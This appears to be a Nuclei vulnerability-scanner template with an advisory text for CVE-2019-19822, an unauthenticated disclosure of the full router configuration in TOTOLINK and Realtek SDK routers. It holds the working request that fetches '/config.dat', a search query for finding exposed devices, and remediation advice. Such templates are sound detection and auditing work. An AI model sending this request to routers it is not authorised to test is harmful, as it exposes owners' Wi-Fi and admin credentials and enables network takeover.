A certain router administration interface using Realtek APMIB (e.g., on TOTOLINK models) allows unauthenticated remote attackers to disclose the entire router configuration, including sensitive credentials, via accessing the "config.dat" file. Affected devices include TOTOLINK A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-based devices.
PoC
id: CVE-2019-19822
info:
name: TOTOLINK/Realtek Routers - Information Disclosure
author: ritikchaddha
severity: high
description: |
A certain router administration interface using Realtek APMIB (e.g., on TOTOLINK models) allows unauthenticated remote attackers to disclose the entire router configuration, including sensitive credentials, via accessing the "config.dat" file. Affected devices include TOTOLINK A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-based devices.
impact: |
Unauthenticated attackers can retrieve the entire router configuration including Wi-Fi passwords, admin credentials, and network settings, enabling complete network takeover.
remediation: |
Upgrade to firmware versions beyond those listed as vulnerable, or replace affected devices with patched alternatives.
reference:
- http://packetstormsecurity.com/files/156083/Realtek-SDK-Information-Disclosure-Code-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-19822
classification:
cve-id: CVE-2019-19822
epss-score: 0.08669
epss-percentile: 0.94842
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-306
metadata:
verified: true
max-requests: 1
vendor: totolink
fofa-query: title="totolink"
tags: cve,cve2019,totolink,realtek,information-disclosure,config,boa,vuln
http:
- method: GET
path:
- "{{BaseURL}}/config.dat"
matchers:
- type: dsl
dsl:
- 'contains(content_type, "text/plain")'
- 'contains(to_lower(server), "boa")'
- 'contains(accept_ranges, "bytes")'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450220259ab4263ae12d3e79ab95a7799fe9ea7a59e86b6149870db9cf4a340963d4f7022100bfd6ab886e88bc5c9cce6442ac37a1e304f18acc2165fafeeccf0b1e5ed21859:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.